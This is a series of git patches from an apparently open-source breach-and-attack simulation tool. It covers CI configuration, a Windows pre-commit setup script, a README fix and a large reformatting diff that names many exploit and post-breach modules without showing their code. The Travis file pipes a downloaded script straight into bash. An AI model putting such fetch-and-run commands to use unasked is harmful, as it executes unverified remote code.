    \n\nHowever, for less straightforward ones, you can override functions and implement new classes depending on what is required — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`.

    \n\nThis PBA, along with all the other PBAs, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to schedule jobs, which they could use to run malicious code at some specified date and time." } - }, - "app_version": "0.3.5-1", - "file_version": "1.0.4", - "hunksOrder": [ - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py_0" ], - "last_commit_sha_for_swimm_patch": "44fd1ab69cfbab33cec638dcbbaa8831992a9a9f" -} \ No newline at end of file + "symbols": {}, + "file_version": "2.0.1", + "meta": { + "app_version": "0.4.1-1", + "file_blobs": { + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": "e7845968a0c27d2eba71a8889645fe88491cb2a8" + } + } +} From 1414d132d3ce2fd40b9d99a2125ea32ed91fa23c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 06:56:10 -0400 Subject: [PATCH 0155/1360] ci: Add swimm verify back to travis.yml This reverts commit 4aa9a14f1326229678beadbae47af3e6c61ca5ca. --- .travis.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.travis.yml b/.travis.yml index 6ea44a9714e..add9d6f0303 100644 --- a/.travis.yml +++ b/.travis.yml @@ -78,6 +78,14 @@ script: - cd $TRAVIS_BUILD_DIR/docs - hugo --verbose --environment staging +# verify swimm +- cd $TRAVIS_BUILD_DIR +- wget "https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv029%2FSwimm_0.2.9_Setup.deb?alt=media&token=774ebd98-cb4e-4615-900c-aada224c1608" -O swimm +- sudo dpkg -i swimm || (sudo apt-get update && sudo apt-get -f install) +- chmod +x ./swimm +- swimm --version +- swimm verify + after_success: # Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information - bash <(curl -s https://codecov.io/bash) From cd59e9ba1a412db33af334c8ee4d28ca3015284e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Feb 2021 16:51:29 +0200 Subject: [PATCH 0156/1360] Updated travis script to use the latest swimm version. --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index add9d6f0303..3e3adaa5c41 100644 --- a/.travis.yml +++ b/.travis.yml @@ -80,7 +80,7 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- wget "https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv029%2FSwimm_0.2.9_Setup.deb?alt=media&token=774ebd98-cb4e-4615-900c-aada224c1608" -O swimm +- wget "https://github.com/swimmio/SwimmReleases/releases/download/v0.3.7-0/Swimm_0.3.7-0_Setup.deb" -O swimm - sudo dpkg -i swimm || (sudo apt-get update && sudo apt-get -f install) - chmod +x ./swimm - swimm --version From f22fc8e37e05573030275df29082120d1410ff79 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 07:16:57 -0400 Subject: [PATCH 0157/1360] ci: use swimm version 0.4.1 in travis.yml --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 3e3adaa5c41..80b17df46e1 100644 --- a/.travis.yml +++ b/.travis.yml @@ -80,7 +80,7 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- wget "https://github.com/swimmio/SwimmReleases/releases/download/v0.3.7-0/Swimm_0.3.7-0_Setup.deb" -O swimm +- wget "https://github.com/swimmio/SwimmReleases/releases/download/v0.4.1-0/Swimm_0.4.1-0_Setup.deb" -O swimm - sudo dpkg -i swimm || (sudo apt-get update && sudo apt-get -f install) - chmod +x ./swimm - swimm --version From a5ce373cbf49f2aaf2bd9a220e964f6c22fcd947 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 6 Apr 2021 18:01:22 +0300 Subject: [PATCH 0158/1360] Added pre-commit installation to windows deployment script --- deployment_scripts/deploy_windows.ps1 | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 85a3f069885..bc781b546d3 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -9,6 +9,21 @@ param( [Bool] $agents = $true ) + +function Configure-precommit([String] $python_command) +{ + Write-Output "Installing pre-commit and setting up pre-commit hook" + python -m pip install pre-commit + if ($LastExitCode) { + exit + } + pre-commit install + if ($LastExitCode) { + exit + } + Write-Output "Pre-commit successfully installed" +} + function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop") { Write-Output "Downloading to $monkey_home" @@ -119,6 +134,8 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, $scoutsuiteRequirements = Join-Path -Path $monkey_home -ChildPath $SCOUTSUITE_DIR | Join-Path -ChildPath "\requirements.txt" & python -m pip install --user -r $scoutsuiteRequirements + Configure-precommit + $user_python_dir = cmd.exe /c 'py -m site --user-site' $user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts" if (!($ENV:Path | Select-String -SimpleMatch $user_python_dir)) From 1cc2dc24ac198479c44e0b6ad16084eaddb1c301 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Apr 2021 14:39:36 +0300 Subject: [PATCH 0159/1360] Fixed pre-commit to be installer in monkey dir during deployment scripts --- deployment_scripts/deploy_windows.ps1 | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index bc781b546d3..28d34904c6b 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -10,9 +10,10 @@ param( $agents = $true ) -function Configure-precommit([String] $python_command) +function Configure-precommit([String] $git_repo_dir) { Write-Output "Installing pre-commit and setting up pre-commit hook" + Push-Location $git_repo_dir python -m pip install pre-commit if ($LastExitCode) { exit @@ -21,6 +22,7 @@ function Configure-precommit([String] $python_command) if ($LastExitCode) { exit } + Pop-Location Write-Output "Pre-commit successfully installed" } @@ -134,7 +136,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, $scoutsuiteRequirements = Join-Path -Path $monkey_home -ChildPath $SCOUTSUITE_DIR | Join-Path -ChildPath "\requirements.txt" & python -m pip install --user -r $scoutsuiteRequirements - Configure-precommit + Configure-precommit($monkey_home) $user_python_dir = cmd.exe /c 'py -m site --user-site' $user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts" From 3759c4d07a484df3b07c868c1b5b81990a9d8519 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 08:33:11 -0400 Subject: [PATCH 0160/1360] build: fix small typo in deployment_scrips/README.md Co-authored-by: Shreya Malviya --- deployment_scripts/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index eaa973ff546..ff767b33b85 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -73,7 +73,7 @@ commit. If your commit does not pass all checks, it will be reformatted and/or you'll be given a list of errors and warnings that need to be fixed before you can commit. -Our CI system runs the same checks when when pull requests are submitted. This +Our CI system runs the same checks when pull requests are submitted. This system may report that the build has failed if the pre-commit hooks have not been run or all issues have not been resolved. From 03bcfc97afbdde3730ef8767253f75f45eab47c0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Apr 2021 11:11:09 +0300 Subject: [PATCH 0161/1360] All E501 errors fixed, but formatting screwed up --- .../analyzers/performance_analyzer.py | 3 +- .../sample_multiplier/fake_monkey.py | 3 +- .../sample_multiplier/sample_multiplier.py | 6 +- .../test_fake_ip_generator.py | 3 +- monkey/common/cloud/aws/aws_instance.py | 27 +- monkey/common/cloud/aws/aws_service.py | 19 +- monkey/common/cloud/aws/test_aws_instance.py | 75 +- monkey/common/cloud/aws/test_aws_service.py | 6 +- monkey/common/cloud/azure/azure_instance.py | 18 +- .../common/cloud/azure/test_azure_instance.py | 173 ++-- monkey/common/cloud/gcp/gcp_instance.py | 14 +- monkey/common/cmd/aws/aws_cmd_result.py | 13 +- monkey/common/cmd/aws/aws_cmd_runner.py | 6 +- monkey/common/cmd/cmd_runner.py | 19 +- .../common/common_consts/zero_trust_consts.py | 361 ++++---- monkey/common/network/network_range.py | 13 +- monkey/common/network/network_utils.py | 6 +- monkey/common/network/segmentation_utils.py | 6 +- monkey/common/utils/attack_utils.py | 24 +- monkey/common/utils/mongo_utils.py | 4 +- monkey/common/version.py | 6 +- monkey/infection_monkey/config.py | 3 +- monkey/infection_monkey/control.py | 224 ++--- monkey/infection_monkey/dropper.py | 109 +-- .../infection_monkey/exploit/HostExploiter.py | 34 +- monkey/infection_monkey/exploit/drupal.py | 79 +- .../infection_monkey/exploit/elasticgroovy.py | 20 +- monkey/infection_monkey/exploit/hadoop.py | 38 +- monkey/infection_monkey/exploit/mssqlexec.py | 57 +- monkey/infection_monkey/exploit/sambacry.py | 158 ++-- monkey/infection_monkey/exploit/shellshock.py | 57 +- monkey/infection_monkey/exploit/smbexec.py | 110 +-- monkey/infection_monkey/exploit/sshexec.py | 56 +- monkey/infection_monkey/exploit/struts2.py | 43 +- .../exploit/tests/test_zerologon.py | 30 +- .../infection_monkey/exploit/tools/helpers.py | 27 +- .../exploit/tools/http_tools.py | 4 +- .../exploit/tools/payload_parsing.py | 10 +- .../exploit/tools/payload_parsing_test.py | 13 +- .../exploit/tools/smb_tools.py | 128 +-- .../exploit/tools/test_helpers.py | 4 +- .../exploit/tools/wmi_tools.py | 20 +- monkey/infection_monkey/exploit/vsftpd.py | 26 +- monkey/infection_monkey/exploit/web_rce.py | 140 +-- monkey/infection_monkey/exploit/weblogic.py | 28 +- .../infection_monkey/exploit/win_ms08_067.py | 100 +-- monkey/infection_monkey/exploit/wmiexec.py | 77 +- monkey/infection_monkey/exploit/zerologon.py | 128 +-- .../exploit/zerologon_utils/dump_secrets.py | 83 +- .../exploit/zerologon_utils/options.py | 22 +- .../exploit/zerologon_utils/remote_shell.py | 8 +- .../zerologon_utils/vuln_assessment.py | 28 +- .../exploit/zerologon_utils/wmiexec.py | 28 +- monkey/infection_monkey/main.py | 53 +- monkey/infection_monkey/model/__init__.py | 12 +- monkey/infection_monkey/monkey.py | 101 ++- monkey/infection_monkey/network/firewall.py | 54 +- monkey/infection_monkey/network/info.py | 20 +- .../network/mssql_fingerprint.py | 20 +- .../infection_monkey/network/mysqlfinger.py | 2 +- .../network/network_scanner.py | 24 +- .../infection_monkey/network/ping_scanner.py | 17 +- .../network/postgresql_finger.py | 48 +- monkey/infection_monkey/network/smbfinger.py | 138 +-- .../infection_monkey/network/tcp_scanner.py | 11 +- .../network/test_postgresql_finger.py | 108 +-- monkey/infection_monkey/network/tools.py | 22 +- .../post_breach/actions/add_user.py | 4 +- .../actions/change_file_privileges.py | 2 +- .../actions/clear_command_history.py | 2 +- .../actions/communicate_as_new_user.py | 25 +- .../post_breach/actions/discover_accounts.py | 3 +- .../post_breach/actions/hide_files.py | 6 +- .../actions/modify_shell_startup_files.py | 8 +- .../post_breach/actions/schedule_jobs.py | 6 +- .../post_breach/actions/use_signed_scripts.py | 5 +- .../post_breach/actions/users_custom_pba.py | 16 +- .../linux_clear_command_history.py | 6 +- .../job_scheduling/windows_job_scheduling.py | 4 +- monkey/infection_monkey/post_breach/pba.py | 8 +- .../setuid_setgid/linux_setuid_setgid.py | 7 +- .../linux/shell_startup_files_modification.py | 6 +- .../shell_startup_files_modification.py | 6 +- .../shell_startup_files_modification.py | 12 +- .../signed_script_proxy.py | 2 +- .../tests/actions/test_users_custom_pba.py | 52 +- .../timestomping/linux/timestomping.py | 4 +- .../timestomping/windows/timestomping.py | 4 +- .../trap_command/linux_trap_command.py | 3 +- monkey/infection_monkey/pyinstaller_utils.py | 3 +- .../system_info/SSH_info_collector.py | 16 +- .../infection_monkey/system_info/__init__.py | 10 +- .../system_info/azure_cred_collector.py | 33 +- .../system_info/collectors/aws_collector.py | 2 +- .../collectors/environment_collector.py | 2 +- .../collectors/hostname_collector.py | 2 +- .../collectors/process_list_collector.py | 25 +- .../scoutsuite_collector.py | 8 +- .../system_info/netstat_collector.py | 25 +- .../system_info/system_info_collector.py | 9 +- .../system_info_collectors_handler.py | 7 +- .../mimikatz_cred_collector.py | 2 +- .../pypykatz_handler.py | 4 +- .../test_pypykatz_handler.py | 200 ++--- .../windows_credentials.py | 8 +- .../system_info/wmi_consts.py | 6 +- monkey/infection_monkey/system_singleton.py | 13 +- .../telemetry/attack/attack_telem.py | 2 +- .../telemetry/attack/t1005_telem.py | 2 +- .../telemetry/attack/t1064_telem.py | 5 +- .../telemetry/attack/t1105_telem.py | 2 +- .../telemetry/attack/t1107_telem.py | 2 +- .../telemetry/attack/t1197_telem.py | 5 +- .../telemetry/attack/t1222_telem.py | 2 +- .../telemetry/attack/usage_telem.py | 2 +- .../telemetry/attack/victim_host_telem.py | 4 +- .../infection_monkey/telemetry/base_telem.py | 1 + .../telemetry/exploit_telem.py | 10 +- .../telemetry/post_breach_telem.py | 10 +- .../infection_monkey/telemetry/scan_telem.py | 2 +- .../telemetry/scoutsuite_telem.py | 2 +- .../infection_monkey/telemetry/state_telem.py | 2 +- .../tests/attack/test_attack_telem.py | 2 +- .../tests/attack/test_t1005_telem.py | 8 +- .../tests/attack/test_t1035_telem.py | 2 +- .../tests/attack/test_t1064_telem.py | 2 +- .../tests/attack/test_t1105_telem.py | 10 +- .../tests/attack/test_t1106_telem.py | 2 +- .../tests/attack/test_t1107_telem.py | 2 +- .../tests/attack/test_t1129_telem.py | 2 +- .../tests/attack/test_t1197_telem.py | 8 +- .../tests/attack/test_t1222_telem.py | 8 +- .../tests/attack/test_usage_telem.py | 6 +- .../tests/attack/test_victim_host_telem.py | 6 +- .../telemetry/tests/test_exploit_telem.py | 38 +- .../telemetry/tests/test_post_breach_telem.py | 12 +- .../telemetry/tests/test_scan_telem.py | 18 +- .../telemetry/tests/test_state_telem.py | 2 +- .../telemetry/tests/test_trace_telem.py | 2 +- .../telemetry/tests/test_tunnel_telem.py | 2 +- .../infection_monkey/telemetry/trace_telem.py | 2 +- .../telemetry/tunnel_telem.py | 2 +- monkey/infection_monkey/transport/http.py | 42 +- monkey/infection_monkey/transport/tcp.py | 10 +- monkey/infection_monkey/tunnel.py | 23 +- .../infection_monkey/utils/auto_new_user.py | 6 +- .../utils/auto_new_user_factory.py | 6 +- monkey/infection_monkey/utils/hidden_files.py | 8 +- monkey/infection_monkey/utils/linux/users.py | 17 +- .../infection_monkey/utils/plugins/plugin.py | 10 +- .../utils/windows/hidden_files.py | 14 +- .../infection_monkey/utils/windows/users.py | 49 +- monkey/infection_monkey/windows_upgrader.py | 29 +- monkey/monkey_island/cc/app.py | 41 +- monkey/monkey_island/cc/arg_parser.py | 32 +- .../monkey_island/cc/environment/__init__.py | 8 +- monkey/monkey_island/cc/environment/aws.py | 1 - .../cc/environment/environment_config.py | 8 +- .../cc/environment/environment_singleton.py | 6 +- .../monkey_island/cc/environment/password.py | 1 - .../monkey_island/cc/environment/standard.py | 1 - .../cc/environment/test__init__.py | 4 +- .../cc/environment/test_environment_config.py | 2 +- .../cc/environment/test_user_creds.py | 6 +- .../monkey_island/cc/environment/testing.py | 3 +- .../cc/environment/user_creds.py | 4 +- monkey/monkey_island/cc/main.py | 34 +- monkey/monkey_island/cc/models/__init__.py | 9 +- .../cc/models/attack/attack_mitigations.py | 7 +- .../cc/models/attack/mitigation.py | 1 - monkey/monkey_island/cc/models/config.py | 2 +- monkey/monkey_island/cc/models/creds.py | 2 +- monkey/monkey_island/cc/models/edge.py | 3 +- monkey/monkey_island/cc/models/monkey.py | 20 +- monkey/monkey_island/cc/models/monkey_ttl.py | 17 +- monkey/monkey_island/cc/models/test_monkey.py | 27 +- .../cc/models/zero_trust/event.py | 9 +- .../cc/models/zero_trust/finding.py | 14 +- .../zero_trust/monkey_finding_details.py | 1 - .../models/zero_trust/scoutsuite_finding.py | 2 +- .../zero_trust/scoutsuite_finding_details.py | 1 - .../cc/models/zero_trust/test_event.py | 11 +- .../models/zero_trust/test_monkey_finding.py | 18 +- .../zero_trust/test_scoutsuite_finding.py | 12 +- .../cc/resources/T1216_pba_file_download.py | 7 +- .../cc/resources/attack/attack_config.py | 18 +- .../cc/resources/attack/attack_report.py | 10 +- .../monkey_island/cc/resources/auth/auth.py | 18 +- .../cc/resources/auth/registration.py | 6 +- .../cc/resources/auth/user_store.py | 4 +- .../monkey_island/cc/resources/bootloader.py | 16 +- .../cc/resources/bootloader_test.py | 18 +- monkey/monkey_island/cc/resources/edge.py | 2 +- .../monkey_island/cc/resources/environment.py | 3 +- .../cc/resources/island_configuration.py | 4 +- .../monkey_island/cc/resources/local_run.py | 6 +- monkey/monkey_island/cc/resources/log.py | 2 +- monkey/monkey_island/cc/resources/monkey.py | 40 +- .../cc/resources/monkey_configuration.py | 4 +- .../monkey_control/remote_port_check.py | 4 +- .../cc/resources/monkey_download.py | 64 +- monkey/monkey_island/cc/resources/netmap.py | 2 +- .../monkey_island/cc/resources/node_states.py | 2 +- .../cc/resources/pba_file_upload.py | 2 +- .../monkey_island/cc/resources/remote_run.py | 4 +- monkey/monkey_island/cc/resources/root.py | 10 +- .../monkey_island/cc/resources/telemetry.py | 16 +- .../cc/resources/telemetry_feed.py | 32 +- .../cc/resources/test/clear_caches.py | 5 +- .../cc/resources/test/log_test.py | 4 +- .../cc/resources/test/monkey_test.py | 2 +- .../cc/resources/test/telemetry_test.py | 2 +- .../cc/resources/test/utils/telem_store.py | 19 +- .../cc/resources/version_update.py | 6 +- .../cc/resources/zero_trust/finding_event.py | 4 +- .../scoutsuite_auth/scoutsuite_auth.py | 12 +- .../resources/zero_trust/zero_trust_report.py | 2 +- .../cc/server_utils/bootloader_server.py | 4 +- .../monkey_island/cc/server_utils/consts.py | 4 +- .../cc/server_utils/encryptor.py | 8 +- .../cc/server_utils/island_logger.py | 6 +- .../cc/server_utils/test_island_logger.py | 2 +- .../cc/services/attack/attack_config.py | 44 +- .../cc/services/attack/attack_report.py | 96 +-- .../cc/services/attack/attack_schema.py | 816 +++++++++--------- .../cc/services/attack/mitre_api_interface.py | 5 +- .../attack/technique_reports/T1003.py | 25 +- .../attack/technique_reports/T1005.py | 44 +- .../attack/technique_reports/T1016.py | 34 +- .../attack/technique_reports/T1018.py | 34 +- .../attack/technique_reports/T1021.py | 26 +- .../attack/technique_reports/T1035.py | 7 +- .../attack/technique_reports/T1041.py | 6 +- .../attack/technique_reports/T1059.py | 18 +- .../attack/technique_reports/T1064.py | 2 +- .../attack/technique_reports/T1075.py | 44 +- .../attack/technique_reports/T1082.py | 68 +- .../attack/technique_reports/T1086.py | 30 +- .../attack/technique_reports/T1090.py | 2 +- .../attack/technique_reports/T1105.py | 18 +- .../attack/technique_reports/T1106.py | 2 +- .../attack/technique_reports/T1107.py | 32 +- .../attack/technique_reports/T1110.py | 24 +- .../attack/technique_reports/T1129.py | 2 +- .../attack/technique_reports/T1145.py | 16 +- .../attack/technique_reports/T1146.py | 18 +- .../attack/technique_reports/T1156.py | 24 +- .../attack/technique_reports/T1166.py | 5 +- .../attack/technique_reports/T1188.py | 12 +- .../attack/technique_reports/T1197.py | 26 +- .../attack/technique_reports/T1210.py | 48 +- .../attack/technique_reports/T1216.py | 25 +- .../attack/technique_reports/T1222.py | 22 +- .../attack/technique_reports/T1504.py | 27 +- .../attack/technique_reports/__init__.py | 36 +- .../attack/technique_reports/pba_technique.py | 29 +- .../technique_report_tools.py | 8 +- .../technique_reports/usage_technique.py | 36 +- .../monkey_island/cc/services/bootloader.py | 2 +- .../cc/services/bootloader_test.py | 24 +- monkey/monkey_island/cc/services/config.py | 78 +- .../cc/services/config_schema/basic.py | 72 +- .../services/config_schema/basic_network.py | 145 ++-- .../services/config_schema/config_schema.py | 26 +- .../definitions/exploiter_classes.py | 235 ++--- .../definitions/finger_classes.py | 103 +-- .../definitions/post_breach_actions.py | 159 ++-- .../system_info_collector_classes.py | 81 +- .../cc/services/config_schema/internal.py | 759 ++++++++-------- .../cc/services/config_schema/monkey.py | 174 ++-- .../cc/services/edge/displayed_edge.py | 29 +- monkey/monkey_island/cc/services/edge/edge.py | 4 +- .../cc/services/edge/test_displayed_edge.py | 73 +- .../cc/services/infection_lifecycle.py | 19 +- .../monkey_island/cc/services/island_logs.py | 5 +- monkey/monkey_island/cc/services/log.py | 18 +- .../cc/services/netmap/net_edge.py | 30 +- monkey/monkey_island/cc/services/node.py | 145 ++-- .../cc/services/post_breach_files.py | 9 +- .../cc/services/remote_run_aws.py | 73 +- .../cc/services/reporting/aws_exporter.py | 464 +++++----- .../cc/services/reporting/exporter_init.py | 6 +- .../exploiter_descriptor_enum.py | 22 +- .../processors/cred_exploit.py | 6 +- .../exploit_processing/processors/exploit.py | 3 +- .../processors/shellshock_exploit.py | 3 +- .../processors/zerologon.py | 3 +- .../cc/services/reporting/pth_report.py | 176 ++-- .../cc/services/reporting/report.py | 331 +++---- .../report_generation_synchronisation.py | 6 +- .../cc/services/reporting/test_report.py | 60 +- .../cc/services/representations_test.py | 30 +- .../services/telemetry/processing/exploit.py | 16 +- .../telemetry/processing/post_breach.py | 4 +- .../telemetry/processing/processing.py | 20 +- .../cc/services/telemetry/processing/scan.py | 6 +- .../telemetry/processing/scoutsuite.py | 2 +- .../cc/services/telemetry/processing/state.py | 3 +- .../telemetry/processing/system_info.py | 19 +- .../processing/system_info_collectors/aws.py | 3 +- .../system_info_telemetry_dispatcher.py | 28 +- .../test_environment.py | 11 +- .../test_system_info_telemetry_dispatcher.py | 24 +- .../telemetry/processing/test_post_breach.py | 76 +- .../zero_trust_checks/antivirus_existence.py | 22 +- .../communicate_as_new_user.py | 33 +- .../zero_trust_checks/data_endpoints.py | 97 ++- .../zero_trust_checks/machine_exploited.py | 30 +- .../zero_trust_checks/segmentation.py | 61 +- .../test_segmentation_checks.py | 24 +- .../telemetry/zero_trust_checks/tunneling.py | 18 +- .../services/tests/reporting/test_report.py | 81 +- .../cc/services/tests/test_config.py | 3 +- .../cc/services/utils/bootloader_config.py | 14 +- .../cc/services/utils/network_utils.py | 43 +- .../cc/services/utils/node_states.py | 8 +- .../cc/services/utils/node_states_test.py | 10 +- .../monkey_island/cc/services/wmi_handler.py | 55 +- .../monkey_zt_details_service.py | 18 +- .../monkey_zt_finding_service.py | 22 +- .../test_monkey_zt_details_service.py | 3 +- .../test_monkey_zt_finding_service.py | 26 +- .../consts/rule_names/cloudformation_rules.py | 1 - .../scoutsuite/consts/rule_names/ses_rules.py | 1 - .../scoutsuite/consts/rule_names/sns_rules.py | 1 - .../scoutsuite/consts/rule_names/sqs_rules.py | 1 - .../scoutsuite/data_parsing/rule_parser.py | 7 +- .../cloudformation_rule_path_creator.py | 4 +- .../cloudtrail_rule_path_creator.py | 4 +- .../cloudwatch_rule_path_creator.py | 4 +- .../config_rule_path_creator.py | 4 +- .../ec2_rule_path_creator.py | 4 +- .../elb_rule_path_creator.py | 4 +- .../elbv2_rule_path_creator.py | 4 +- .../iam_rule_path_creator.py | 4 +- .../rds_rule_path_creator.py | 4 +- .../redshift_rule_path_creator.py | 4 +- .../s3_rule_path_creator.py | 4 +- .../ses_rule_path_creator.py | 4 +- .../sns_rule_path_creator.py | 4 +- .../sqs_rule_path_creator.py | 4 +- .../vpc_rule_path_creator.py | 4 +- .../rule_path_creators_list.py | 45 +- .../data_parsing/test_rule_parser.py | 27 +- .../scoutsuite/scoutsuite_auth_service.py | 10 +- .../scoutsuite_zt_finding_service.py | 20 +- .../test_scoutsuite_auth_service.py | 4 +- .../test_scoutsuite_rule_service.py | 32 +- .../zero_trust/test_common/finding_data.py | 4 +- .../test_common/monkey_finding_data.py | 24 +- .../test_common/raw_scoutsute_data.py | 197 ++--- .../test_common/scoutsuite_finding_data.py | 128 +-- .../zero_trust_report/finding_service.py | 13 +- .../zero_trust_report/pillar_service.py | 26 +- .../zero_trust_report/principle_service.py | 29 +- .../test_common/example_finding_data.py | 48 +- .../zero_trust_report/test_finding_service.py | 24 +- .../zero_trust_report/test_pillar_service.py | 103 +-- .../test_principle_service.py | 48 +- monkey/monkey_island/cc/setup.py | 8 +- .../pyinstaller_hooks/hook-stix2.py | 3 +- 361 files changed, 6131 insertions(+), 5574 deletions(-) diff --git a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py index 18390e67e4c..30e63565240 100644 --- a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py @@ -33,7 +33,8 @@ def analyze_test_results(self): if self.performance_test_config.break_on_timeout and not performance_is_good_enough: LOGGER.warning( - "Calling breakpoint - pausing to enable investigation of island. Type 'c' to continue once you're done " + "Calling breakpoint - pausing to enable investigation of island. " + "Type 'c' to continue once you're done " "investigating. Type 'p timings' and 'p total_time' to see performance information." ) breakpoint() diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py index 2a39e63538f..59501b6db70 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py @@ -1,6 +1,7 @@ import random -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\ + sample_multiplier.fake_ip_generator import ( FakeIpGenerator, ) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py index 7a1fb4032d4..981aa22a6c9 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py @@ -9,10 +9,12 @@ from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import ( SampleFileParser, ) -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\ + sample_multiplier.fake_ip_generator import ( FakeIpGenerator, ) -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\ + sample_multiplier.fake_monkey import ( FakeMonkey, ) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py index 7a4f30cff76..3b18032d61b 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py @@ -1,6 +1,7 @@ from unittest import TestCase -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.\ + sample_multiplier.fake_ip_generator import ( FakeIpGenerator, ) diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index 236cde5e190..27c56f0a5f6 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -9,7 +9,6 @@ __author__ = "itay.mizeretz" - AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254" AWS_LATEST_METADATA_URI_PREFIX = "http://{0}/latest/".format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS) ACCOUNT_ID_KEY = "accountId" @@ -35,32 +34,34 @@ def __init__(self): try: response = requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2 + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2 ) self.instance_id = response.text if response else None self.region = self._parse_region( - requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone" - ).text + requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone" + ).text ) except (requests.RequestException, IOError) as e: logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) try: self.account_id = self._extract_account_id( - requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2 - ).text + requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", + timeout=2 + ).text ) except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: logger.debug( - "Failed init of AwsInstance while getting dynamic instance data: {}".format(e) + "Failed init of AwsInstance while getting dynamic instance data: {}".format(e) ) @staticmethod def _parse_region(region_url_response): # For a list of regions, see: - # https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html + # https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts + # .RegionsAndAvailabilityZones.html # This regex will find any AWS region format string in the response. re_phrase = 